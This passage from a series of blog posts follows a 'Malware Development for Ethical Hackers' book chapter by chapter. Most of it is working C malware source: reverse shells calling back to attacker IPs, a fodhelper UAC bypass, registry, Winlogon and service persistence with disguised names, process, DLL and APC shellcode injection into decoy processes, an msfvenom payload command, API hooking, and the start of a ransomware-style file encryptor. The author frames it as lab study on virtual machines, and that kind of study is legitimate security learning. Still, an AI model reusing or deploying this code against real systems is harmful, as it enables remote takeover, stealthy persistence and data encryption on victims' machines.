char*)command, strlen(command)); printf(status != ERROR_SUCCESS ? "Failed to set the registry value.\n" : "Successfully set the registry value.\n"); // creates a DelegateExecute value set to null status = RegSetValueEx(registryKey, "DelegateExecute", 0, REG_SZ, (unsigned char*)delegateExecute, strlen(delegateExecute)); printf(status != ERROR_SUCCESS ? "Failed to set the registry value: DelegateExecute.\n" : "Successfully set the registry value: DelegateExecute.\n"); // Close the registry key handle RegCloseKey(registryKey); // Start the fodhelper.exe program SHELLEXECUTEINFO shellExecuteInfo = { sizeof(shellExecuteInfo) }; shellExecuteInfo.lpVerb = "runas"; shellExecuteInfo.lpFile = "C:\\Windows\\System32\\fodhelper.exe"; shellExecuteInfo.hwnd = NULL; shellExecuteInfo.nShow = SW_NORMAL; if (!ShellExecuteEx(&amp;shellExecuteInfo)) { DWORD error = GetLastError(); printf (error == ERROR_CANCELLED ? "The user refused to allow privilege elevation.\n" : "Unexpected error! Error code: %ld\n", error); } else { printf("Successfully created the process\n"); } return 0; } </code></pre> <p>Per <a href="https://redfoxsec.com/blog/windows-uac-bypass/">this blogpost</a>, if Windows Defender is enabled, the modification of the registry for UAC is flagged as <code>Win32/UACBypassExp</code> and can be removed. The author appeared to be on a Win10 1903 build. I am currently on 22H2, 1904.3803. I tried a few methods for this, it does write the command to the registry, but the command window that spawns is still non-privileged. Changing the command to <code>cmd /c powershell.exe</code> further confirms the full command does not seem to run, it spawns the <code>cmd.exe</code> but <code>powershell.exe</code> never boots. Will have to do more investigation into if this was finally patched. Most articles about this exploit are a few years old.</p>2025-01-21T00:34:05-05:002026-05-17T14:03:45.458882-04:00Eric Turnertag:blog.ericturner.it,2025-01-21:/2025/01/21/malware-dev-chapter-03-persistence/

<p>Continued series from the&nbsp;<a href="https://www.packtpub.com/en-us/product/malware-development-for-ethical-hackers-9781801810173">Malware Development for Ethical Hackers Book</a>.<br/> GitHub repo: <a href="https://github.com/EricTurner3/cybersecurity/tree/main/Malware_Development">EricTurner3 - Malware_Development</a>.</p> <p>This chapter contains methods to achieve persistence of malware in Windows.</p> <h1 id="registry-keys">Registry Keys</h1> <h2 id="run-registry-key">Run Registry Key</h2> <p>The book utilizes a dummy code to pop up a message window using the registry persistence. I re-used my reverse …</p>

<p>Continued series from the&nbsp;<a href="https://www.packtpub.com/en-us/product/malware-development-for-ethical-hackers-9781801810173">Malware Development for Ethical Hackers Book</a>.<br/> GitHub repo: <a href="https://github.com/EricTurner3/cybersecurity/tree/main/Malware_Development">EricTurner3 - Malware_Development</a>.</p> <p>This chapter contains methods to achieve persistence of malware in Windows.</p> <h1 id="registry-keys">Registry Keys</h1> <h2 id="run-registry-key">Run Registry Key</h2> <p>The book utilizes a dummy code to pop up a message window using the registry persistence. I re-used my reverse shell windows code from chapter 1, cleverly named Update.exe. In my version, I named the new application StartUpdate.exe for persistence. This requires the reverse shell executable to be in <code>C:\\Update.exe</code>. Once StartUpdate.exe is ran, it appears that nothing occurred. Once the system is rebooted or the user logs out and back in, <code>Update.exe</code> fires and the reverse shell is granted:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-48.webp"/></p> <p>Top: Windows machine showing Update.exe and the new registry key.<br/> Bottom: Reverse shell connection successful</p> <pre><code class="language-c">/* Persistence - Run 20 Jan 2025 Eric To build: x86_64-w64-mingw32-gcc 03_registry_persist.c -o StartUpdate.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc */ #include &lt;windows.h&gt; #include &lt;string.h&gt; int main(){ HKEY hkey = NULL; // path to executable const char* exe = "C:\\Update.exe"; //open startup reg key, save into hkey LONG result = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &amp;hkey); // check for success if (result == ERROR_SUCCESS){ // create key for persistence RegSetValueEx(hkey, (LPCSTR)"Windows Update 24H2", 0, REG_SZ, (unsigned char*)exe, strlen(exe)); RegCloseKey(hkey); } return 0; } </code></pre> <h2 id="winlogon-registry-key">Winlogon Registry Key</h2> <p>A different tactic is updating the Winlogon registry key. In this variation, we append the name of our malicious executable to the existing value <code>explorer.exe</code>.</p> <p>The code is almost the same as the above, with the exception of the key being opened is <code>SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon</code>, and the value we are modifying is <code>Shell</code>. The malicious <code>C:\\Update.exe</code> gets relocated to <code>C:\\Windows\\System32\\update.exe</code>. I compiled the code to <code>UpdateLogon.exe</code> and executed it on the Windows VM. After a simple reboot, the <code>update.exe</code> launches almost immediately and the reverse shell connects in our linux shell.</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-49.webp"/></p> <h1 id="dll-search-order-hijacking_1">DLL Search Order Hijacking</h1> <p>This is a fascinating one to me. Using Process Monitor (procmon), set up a filter system for the target application, in this instance Internet Explorer (iexplore.exe). Look for any instances where the executable searches for a DLL and it is not found. </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-50.webp"/></p> <p>Process Monitor filter</p> <p>Apply the filter and then launch the target application.</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-51.webp"/></p> <p>Process Monitor filter results</p> <p>As the application starts, all of the DLLs the application tries to load show up here. In this instance, none of them exist. Fortunately, all of these also exist inside of the application's directory, instead of system DLLs that could be found in someplace such as C:\\Windows\\System32.</p> <p>A malicious DLL can be created with the name of one of the above not found DLLs. Thus, when the target application is launched again, it will fire the malicious DLL.</p> <p>I reused the same DLL I used from the last chapter; <a href="https://github.com/EricTurner3/cybersecurity/blob/main/Malware_Development/02_dll.c">my custom made reverse-shell DLL</a>. I renamed this file <code>suspend.dll</code> and placed in the Internet Explorer root directory. Internet Explorer is no longer supported, and launching this application just quickly launches Microsoft Edge. However, the launch is still enough to attach our DLL and link our reverse shell.</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-52.webp"/></p> <p>A malicious suspend.dll that triggers a reverse shell</p> <h1 id="windows-service">Windows Service</h1> <p>The example in the book performs another two-stage attack. <code>msfvenom</code> is used to create the reverse tcp payload and saved to an executable. Then, a second program is created to essentially set the msfvenom payload as a service.</p> <p>Instead, we have already used a TCP reverse listener in C from prior exercises. I combined the logic in order to have a single executable that is able to register itself as a tcp listener.</p> <pre><code class="language-c">/* Persistence - Service 20 Jan 2025 Eric To build: x86_64-w64-mingw32-gcc 03_service_persist.c -o StartUpdate.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc */ #include &lt;windows.h&gt; #include &lt;string.h&gt; #include &lt;stdio.h&gt; //for printf #define SLEEP_TIME 5000 // payload to connect back to 10.0.3.4:4444 unsigned char payload[] = "..."; size_t payload_size = sizeof(payload); SERVICE_STATUS serviceStatus; SERVICE_STATUS_HANDLE hStatus; void ServiceMain(int argc, char** argv); void ControlHandler(DWORD request); // reverse shell void PhoneHome() { // allocate memory for the payload void *alloc_mem = VirtualAlloc(NULL, payload_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if(alloc_mem == NULL){ printf("memory allocation failed: %lu\n", GetLastError()); exit(EXIT_FAILURE); } // copy the payload into the newly allocated memory buffer memcpy(alloc_mem, payload, payload_size); // cast the memory buffer to a function pointer, then call the function to execute void (*execute)() = (void (*)())alloc_mem; execute(); // clean up (will most likely not be reached as the rev shell will hang during execute) VirtualFree(alloc_mem, 0, MEM_RELEASE); } int main(){ SERVICE_TABLE_ENTRY ServiceTable[] = { {"WindowsProUpdateSvc", (LPSERVICE_MAIN_FUNCTION) ServiceMain}, {NULL, NULL} }; StartServiceCtrlDispatcher(ServiceTable); return 0; } // this is the main function to start our service and handle any future requests for state change // https://learn.microsoft.com/en-us/windows/win32/services/service-servicemain-function void ServiceMain(int argc, char** argv) { serviceStatus.dwServiceType = SERVICE_WIN32; serviceStatus.dwCurrentState = SERVICE_START_PENDING; serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN; serviceStatus.dwWin32ExitCode = 0; serviceStatus.dwServiceSpecificExitCode = 0; serviceStatus.dwCheckPoint = 0; serviceStatus.dwWaitHint = 0; // call the handler and call our payload function hStatus = RegisterServiceCtrlHandler("WindowsProUpdateSvc", (LPHANDLER_FUNCTION)ControlHandler); PhoneHome(); // set the service as running serviceStatus.dwCurrentState = SERVICE_RUNNING; SetServiceStatus(hStatus, &amp;serviceStatus); // logic is handled by PhoneHome, this service app can sleep while service running while (serviceStatus.dwCurrentState == SERVICE_RUNNING) { Sleep(SLEEP_TIME); } return; } // important for handling a change in status // https://learn.microsoft.com/en-us/windows/win32/services/service-control-handler-function void ControlHandler(DWORD request) { switch(request) { case SERVICE_CONTROL_STOP: serviceStatus.dwWin32ExitCode = 0; serviceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus (hStatus, &amp;serviceStatus); return; case SERVICE_CONTROL_SHUTDOWN: serviceStatus.dwWin32ExitCode = 0; serviceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus (hStatus, &amp;serviceStatus); return; default: break; } SetServiceStatus(hStatus, &amp;serviceStatus); return; } </code></pre> <p>With the service executable built, we can call <code>sc.exe create WindowsProUpdateSvc binpath="C:\\UpdateSvc.exe" start=auto</code> to create our service. Next <code>sc.exe start WindowsProUpdateSvc</code> to start our new service.</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-53.webp"/></p> <p>service started, reverse shell as NT Authority\System granted</p> <p>I much preferred my method in combining the payload and service creation executables into a single executable for registration. This persistence method has granted us SYSTEM privileges via our reverse shell. We could additionally ensure the service auto-starts as well for further persistence.</p> <p>A neat trick I noticed is that as long as the reverse shell was running, the service would not respond to <code>sc.exe stop</code> or <code>sc.exe delete</code> commands. I had to kill the remote shell via my linux machine and then it finally deleted on the host.</p> <h1 id="further-loopholes">Further Loopholes</h1> <h2 id="uninstall-registry-keys">Uninstall Registry Keys</h2> <p>I did not create code for this exploit, as it is almost identical to the registry persistence code from before, but it instead targets a different registry key.</p> <p>This particular persistence technique involves navigating to <code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall</code> and picking a target application from the list to modify.</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-54.webp"/></p> <p>Uninstall strings</p> <p>Using any method, the book author writes another c code / executable for this, modify the value for the uninstall strings to instead point to the malicious application. If the user then attempts to go to Control Panel &gt; Uninstall a Program, and uninstalls the target application, it will instead launch the malicious executable. This method of persistence requires the end-user to actively search for the target application and attempt to uninstall it. Theoretically, a script could enumerate all of the applications in the directory and change ALL Uninstall strings to target the malicious executable. It would then have cast a wider net in attempts to secure a launch but still requires the end user to attempt to uninstall an application.</p>2025-01-19T18:53:32-05:002026-05-17T14:03:45.457873-04:00Eric Turnertag:blog.ericturner.it,2025-01-19:/2025/01/19/malware-dev-chapter-02-injection/

<p>Continued series from the <a href="https://www.packtpub.com/en-us/product/malware-development-for-ethical-hackers-9781801810173">Malware Development for Ethical Hackers Book</a>.</p> <p>The first part of this chapter deals with process and DLL injection. I will break the APC injection and API hooking</p> <h2 id="process-injection">Process Injection</h2> <p>I followed the book in generating a reverse shell payload using <code>msfvenom</code>:</p> <pre><code class="language-bash">msfvenom -p windows/x64/shell_reverse_tcp …</code></pre>

<p>Continued series from the <a href="https://www.packtpub.com/en-us/product/malware-development-for-ethical-hackers-9781801810173">Malware Development for Ethical Hackers Book</a>.</p> <p>The first part of this chapter deals with process and DLL injection. I will break the APC injection and API hooking</p> <h2 id="process-injection">Process Injection</h2> <p>I followed the book in generating a reverse shell payload using <code>msfvenom</code>:</p> <pre><code class="language-bash">msfvenom -p windows/x64/shell_reverse_tcp LHOST-10.0.3.4 LPORT=4444 -f c </code></pre> <p>This provides an <code>unsigned char buf[]</code> that can be pasted into C code. The original code also requires manually spawning the appropriate process and specifying the PID to inject. Instead, I made a modification to automatically spawn a process and grab the ID to use. Now, when the executable, which I cleverly named <code>PaintLauncher.exe</code> is ran, a copy of MS Paint is launched. In the background, a secret terminal is also launched with it which allows our reverse shell to connect:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-44.webp"/></p> <pre><code class="language-c">/* Proc Injection of Reverse TCP 19 Jan 2025 Eric To build: x86_64-w64-mingw32-gcc 02_proc_injection.c -o PaintLauncher.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc */ #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;windows.h&gt; // created with msfvenom, truncated for web view unsigned char payload[] = "..."; // get size of payload to determine buffer size during injection unsigned int payload_length = sizeof(payload); int main(){ STARTUPINFO si; // declaration for startupinfo PROCESS_INFORMATION pi; // declaration for procinfo HANDLE process_handle; // Handle for the target process HANDLE remote_thread; // Handle for the remote thread PVOID remote_buffer; // Buffer in the remote process // Initialize the STARTUPINFO structure ZeroMemory(&amp;si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&amp;pi, sizeof(pi)); //attempt to launch the mspaint decoy process if(CreateProcess("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &amp;si, &amp;pi)){ // grab proc id printf("Process created successfully!\n"); printf("Process ID: %lu\n", pi.dwProcessId); process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId); // alloc mem for the payload remote_buffer = VirtualAllocEx(process_handle, NULL, payload_length, (MEM_RESERVE|MEM_COMMIT), PAGE_EXECUTE_READWRITE); // copy payload into buffer WriteProcessMemory(process_handle, remote_buffer, payload, payload_length, NULL); // Create a remote thread to start payload remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)remote_buffer, NULL, 0, NULL); // clean up payload handle CloseHandle(process_handle); // clean up our decoy process CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } else{ printf("CreateProcess failed (%lu).\n", GetLastError()); } return 0; } </code></pre> <p>This also shows the connection via System Informer, under the network tab, as mspaint.exe:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-45.webp"/></p> <h2 id="dll-injection">DLL Injection</h2> <p>The book uses a MessageBox code to display for the DLL Injection. I instead modified this to instead have my DLL spawn a reverse shell, like before.</p> <pre><code class="language-c">/* DLL for DLL Injection 19 Jan 2025 Eric To build: x86_64-w64-mingw32-g++ -shared -o update.dll 02_dll.c -fpermissive */ #include &lt;windows.h&gt; unsigned char payload[] = "..."; BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) { switch (nReason) { case DLL_PROCESS_ATTACH: { // Allocate memory for the shellcode void* exec_mem = VirtualAlloc(0, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (exec_mem) { // Copy the shellcode to the allocated memory memcpy(exec_mem, payload, sizeof(payload)); // Create a thread to execute the shellcode HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL); if (hThread) { CloseHandle(hThread); // Cleanup } } break; } case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return TRUE; } </code></pre> <p>Next, I repurposed the same code as before to auto-launch mspaint, but instead we attach the DLL.</p> <pre><code class="language-c">/* Proc Injection of Reverse TCP 19 Jan 2025 Eric To build: x86_64-w64-mingw32-gcc 02_dll_injection.c -o PaintLauncherDLL.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc */ #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;windows.h&gt; char maliciousDLL[] = "C:\\update.dll"; unsigned int dll_length = sizeof(maliciousDLL) + 1; int main(){ STARTUPINFO si; // declaration for startupinfo PROCESS_INFORMATION pi; // declaration for procinfo HANDLE process_handle; // Handle for the target process HANDLE remote_thread; // Handle for the remote thread PVOID remote_buffer; // Buffer in the remote process // Initialize the STARTUPINFO structure ZeroMemory(&amp;si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&amp;pi, sizeof(pi)); //attempt to launch the mspaint decoy process if(CreateProcess("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &amp;si, &amp;pi)){ // Handle to kernel32 and pass it to GetProcAddress HMODULE kernel32_handle = GetModuleHandle("Kernel32"); VOID *lbuffer = GetProcAddress(kernel32_handle, "LoadLibraryA"); // grab proc id printf("Process created successfully!\n"); printf("Process ID: %lu\n", pi.dwProcessId); process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId); // alloc mem for the payload remote_buffer = VirtualAllocEx(process_handle, NULL, dll_length, (MEM_RESERVE|MEM_COMMIT), PAGE_EXECUTE_READWRITE); // copy payload into buffer WriteProcessMemory(process_handle, remote_buffer, maliciousDLL, dll_length, NULL); // Create a remote thread to start payload remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)lbuffer, remote_buffer, 0, NULL); // clean up payload handle CloseHandle(process_handle); // clean up our decoy process CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } else{ printf("CreateProcess failed (%lu).\n", GetLastError()); } return 0; } </code></pre> <p>And again, we have reverse shell, with the actual shellcode now in an <code>update.dll</code> hidden elsewhere instead of in the executable itself: </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-46.webp"/></p> <p>reverse shell</p> <p>The memory view of mspaint.exe shows our C:\\update.dll running:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-47.webp"/></p> <p>custom DLL running inside mspaint.exe</p> <h2 id="apc-injection">APC Injection</h2> <p>The APC injection is very similar to the samples I modified above. It starts a process via C, buit instead starts it in a suspended state. The payload is still copied into the memory as before, however instead of using <code>CreateRemoteThread</code>, a <code>PTHREAD_START_ROUTINE</code> in conjunction with a <code>QueueUserAPC</code> call is used to execute the shell code. Comparison of the difference of proc injection vs APC injection side-by-side, it is very similar.</p> <pre><code class="language-c">// dll injection int main() { // Create a 64-bit process: STARTUPINFO startupInfo; PROCESS_INFORMATION processInfo; LPVOID myPayloadMem; SIZE_T myPayloadLen = sizeof(myPayload); LPCWSTR cmd; HANDLE processHandle, threadHandle; NTSTATUS status; ZeroMemory(&amp;startupInfo, sizeof(startupInfo)); ZeroMemory(&amp;processInfo, sizeof(processInfo)); startupInfo.cb = sizeof(startupInfo); CreateProcessA( "C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &amp;startupInfo, &amp;processInfo ); processHandle = processInfo.hProcess; // Allocate memory for payload myPayloadMem = VirtualAllocEx(processHandle, NULL, myPayloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Write payload to allocated memory WriteProcessMemory(processHandle, myPayloadMem, myPayload, myPayloadLen, NULL); threadHandle = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)myPayloadMem , NULL, 0, NULL); return 0; } </code></pre> <pre><code class="language-c">//apc injection int main() { // Create a 64-bit process: STARTUPINFO startupInfo; PROCESS_INFORMATION processInfo; LPVOID myPayloadMem; SIZE_T myPayloadLen = sizeof(myPayload); LPCWSTR cmd; HANDLE processHandle, threadHandle; NTSTATUS status; ZeroMemory(&amp;startupInfo, sizeof(startupInfo)); ZeroMemory(&amp;processInfo, sizeof(processInfo)); startupInfo.cb = sizeof(startupInfo); CreateProcessA( "C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &amp;startupInfo, &amp;processInfo ); // Allow time to start/initialize. WaitForSingleObject(processInfo.hProcess, 50000); processHandle = processInfo.hProcess; threadHandle = processInfo.hThread; // Allocate memory for payload myPayloadMem = VirtualAllocEx(processHandle, NULL, myPayloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Write payload to allocated memory WriteProcessMemory(processHandle, myPayloadMem, myPayload, myPayloadLen, NULL); // Inject into the suspended thread. PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)myPayloadMem; QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, (ULONG_PTR)NULL); // Resume the suspended thread ResumeThread(threadHandle); return 0; } </code></pre> <h2 id="api-hooking">API Hooking</h2> <p>I did not re-create these examples, as they were simple message box manipulations. The example for API hooking uses a five-byte hook to overwrite the call with a <code>JMP</code> to the custom code, and then execute the custom code.</p> <p>The original function call address is calculated. Then using <code>memcpy</code>, <code>\xE9</code> for <code>JMP</code> is loaded into memory along with the offset for the address of the modified function address. Using a new function, a separate library is then loaded and called instead. </p> <p>In the example, <code>(originalCatFunc)("meow-squeak-tweet!!!")</code> is called instead of the intended <code>(originalCatFunc)("meow-meow")</code>.</p> <pre><code class="language-c">//excerpt of the C example code int __stdcall myModifiedCatFunction(LPCTSTR modifiedMessage) { HINSTANCE petDll; OriginalCatFunction originalCatFunc; // unhook the function: restore the original bytes WriteProcessMemory(GetCurrentProcess(), (LPVOID)hookedFunctionAddress, originalBytes, 5, NULL); // load the original function and modify the message petDll = LoadLibrary("pet.dll"); originalCatFunc = (OriginalCatFunction)GetProcAddress(petDll, "Cat"); return (originalCatFunc)("meow-squeak-tweet!!!"); } // logic for installing the hook void installMyHook() { HINSTANCE hLib; VOID *myModifiedFuncAddress; DWORD *relativeOffset; DWORD source; DWORD destination; CHAR patch[5] = {0}; // obtain the memory address of the original Cat function hLib = LoadLibraryA("pet.dll"); hookedFunctionAddress = GetProcAddress(hLib, "Cat"); // save the first 5 bytes into originalBytes buffer ReadProcessMemory(GetCurrentProcess(), (LPCVOID)hookedFunctionAddress, originalBytes, 5, NULL); // overwrite the first 5 bytes with a jump to myModifiedCatFunction myModifiedFuncAddress = &amp;myModifiedCatFunction; // calculate the relative offset for the jump source = (DWORD)hookedFunctionAddress + 5; destination = (DWORD)myModifiedFuncAddress; relativeOffset = (DWORD *)(destination - source); // \xE9 is the opcode for a jump instruction memcpy(patch, "\xE9", 1); memcpy(patch + 1, &amp;relativeOffset, 4); WriteProcessMemory(GetCurrentProcess(), (LPVOID)hookedFunctionAddress, patch, 5, NULL); } </code></pre> <p>This could be utilized to intercept a library call and replace it with our own. I think this, in conjunction with DLL hijacking could be beneficial. If a compromised DLL is loaded before the legitimate DLL, it could have similar code to above to make an application perform operations that were not original intended. I think in terms of the sample code, it defeats the purpose a bit to have the overwrite in the same app as the regular function call, but it is just for learning purposes.</p>2025-01-18T20:57:43-05:002026-05-17T14:03:45.456873-04:00Eric Turnertag:blog.ericturner.it,2025-01-18:/2025/01/18/malware-dev-chapter-01/

<p>I recently picked several new books from Packt, including <a href="https://www.packtpub.com/en-us/product/malware-development-for-ethical-hackers-9781801810173">Malware Development for Ethical Hackers</a>. This book aims to demonstrate some of the techniques seen in malware, and showcase writing similar samples using C/C++ for both Windows and Linux operating systems. </p> <p>My codebase as I work through this book can …</p>

<p>I recently picked several new books from Packt, including <a href="https://www.packtpub.com/en-us/product/malware-development-for-ethical-hackers-9781801810173">Malware Development for Ethical Hackers</a>. This book aims to demonstrate some of the techniques seen in malware, and showcase writing similar samples using C/C++ for both Windows and Linux operating systems. </p> <p>My codebase as I work through this book can be found on my GitHub, <a href="https://github.com/EricTurner3/cybersecurity/tree/main/Malware_Development">here</a>.</p> <h1 id="reverse-shells">Reverse Shells</h1> <p>The first examples dive into creating reverse shells.</p> <h2 id="linux-reverse-shell">Linux Reverse Shell</h2> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-41.webp"/></p> <p>My compiled reverse shell for linux.</p> <p>It worked! The book does not actually talk about compiling or executing the first example for linux, but I went ahead with <code>gcc</code> to compile and then execute the program. I added some additional comments to my code for helping me (and others) in what some of the calls are doing. I have programmed for over a decade at this point, but I only had a brief stent with C related programming back during college, and nothing involving networking.</p> <pre><code class="language-c">/* Linux-Only Reverse Shell 18 Jan 2025 Eric To build: gcc rev_shell.c */ #include &lt;stdio.h&gt; // C standard input/output #include &lt;unistd.h&gt; // POSIX OS API #include &lt;netinet/ip.h&gt; // Internet Address Family #include &lt;arpa/inet.h&gt; // defs for internet operations #include &lt;sys/socket.h&gt; // sockets int main(){ const char* attacker_ip = "10.0.2.15"; // build address / port structure // https://learn.microsoft.com/en-us/windows/win32/api/ws2def/ns-ws2def-sockaddr_in struct sockaddr_in target_address; target_address.sin_family = AF_INET; // internet target_address.sin_port = htons(4444); // convert port to binary // https://www.ibm.com/docs/en/zos/3.1.0?topic=lf-inet-aton-convert-internet-address-format-from-text-binary inet_aton(attacker_ip, &amp;target_address.sin_addr); // convert string address into binary // create socket int socket_file_descriptor = socket(AF_INET, SOCK_STREAM, 0); // connect connect(socket_file_descriptor, (struct sockaddr *)&amp;target_address, sizeof(target_address)); // link stdinput 0, stdoutput 1, stderror 2 to socket for (int index = 0; index &lt; 3; index++){ dup2(socket_file_descriptor, index); } // spawn shell execve("/bin/sh", NULL, NULL); return 0; } </code></pre> <h2 id="windows-reverse-shell">Windows Reverse Shell</h2> <p>Similar concept but using win32 API calls instead. <code>gcc</code> also cannot be used as a compiler while building on linux, but instead a <code>mingw</code> compiler to cross-compile for Windows.</p> <pre><code class="language-bash">$ i686-w64-mingw32-g++ rev_shell_windows.c -o Update.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive </code></pre> <p>This behemoth of a command</p> <ul> <li><code>-lws2_32</code> loads the ws2_32 library</li> <li><code>-s</code> strips the symbol table and reloc info</li> <li><code>-ffunction-sections</code> places each function in its own section</li> <li><code>-fdata-sections</code> places each global variable in its own section</li> <li><code>-Wno-write-strings</code> suppresses warnings for writing string literals</li> <li><code>-Fno-exceptions</code> disables exception handling support</li> <li><code>-fmerge-all-constants</code> merges identical constants to reduce size</li> <li><code>-static-libstdc++</code> includes a static link of libstdc++</li> <li><code>-static-libgcc</code> includes a static link of libgcc</li> <li><code>-fpermissive</code> allows compiler to be more permissive when running into issues</li> </ul> <p>I had to reconfigure my two linux / windows VMs to be able to properly communicate using a new NAT network with DHCP on <code>10.0.3.1/24</code>. With the appropriate IP addresses configured for each box, and the code given this new network adapter IP, the reverse shell is successful: </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-42.webp"/></p> <p>Python Web Server used to get the file onto the windows VM. Execution confirms a reverse shell in bottom left terminal.</p> <pre><code class="language-c">/* Windows-Only Reverse Shell 18 Jan 2025 Eric To build: i686-w64-mingw32-g++ 01_reverse_shell_windows.c -o Update.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive */ #include &lt;winsock2.h&gt; // Sockets https://learn.microsoft.com/en-us/windows/win32/api/winsock2/ #include &lt;stdio.h&gt; // C standard input/output #pragma comment(lib, "w2_32") // tells linker to use ws2_32.lib //variables WSADATA socketData; SOCKET mainSocket; struct sockaddr_in connectionAddress; STARTUPINFO startupInfo; //https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfow PROCESS_INFORMATION processInfo; int main(int argc, char* argv[]){ // attacker connection info char *attackerIP = "10.0.3.4"; short attackerPort = 4444; // init socket library, version 2.2 WSAStartup(MAKEWORD(2,2), &amp;socketData); // create TCP IPv4 socket // https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasocketw // book uses (unsigned int)NULL instead of 0 for group and flags, which I have no idea why mainSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); // build IPv4 IP:PORT connection struct connectionAddress.sin_family = AF_INET; connectionAddress.sin_port = htons(attackerPort); connectionAddress.sin_addr.s_addr = inet_addr(attackerIP); // connect WSAConnect(mainSocket, (SOCKADDR*)&amp;connectionAddress, sizeof(connectionAddress), NULL, NULL, NULL, NULL); // process info // https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfow memset(&amp;startupInfo,0, sizeof(startupInfo)); // load empty struct into memory startupInfo.cb = sizeof(startupInfo); // struct size startupInfo.dwFlags = STARTF_USESTDHANDLES; // additional info to in, out, err handles // most important line, this sets the input, output and error streams to go through the socket startupInfo.hStdInput = startupInfo.hStdOutput = startupInfo.hStdError = (HANDLE) mainSocket; // spawn cmd shell, sending streams over socket // https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &amp;startupInfo, &amp;processInfo); exit(0); } </code></pre> <h1 id="file-encryption_1">File Encryption</h1> <p>I made a few changes to the original source code that allow the file to be passed as a parameter, and also allow the output filename to be dynamic using the original + a encrypted extension, such as many popular ransomware varieties do. This bare-bones first pass does not allow for decrypting and simply encrypts using RC4:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-43.webp"/></p> <pre><code class="language-c">/* * Example File Encryption * 18 Jan 2025 * Eric * To build: i686-w64-mingw32-g++ 01_encrypt.c -o ScanFile.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive */ #include &lt;windows.h&gt; #include &lt;wincrypt.h&gt; #include &lt;string.h&gt; #include &lt;stdio.h&gt; #pragma comment(lib, "crypt32.lib") void encrypt_file(LPCWSTR filename) { // buffer to hold the plaintext and the ciphertext BYTE buffer[1024]; DWORD bytesRead, 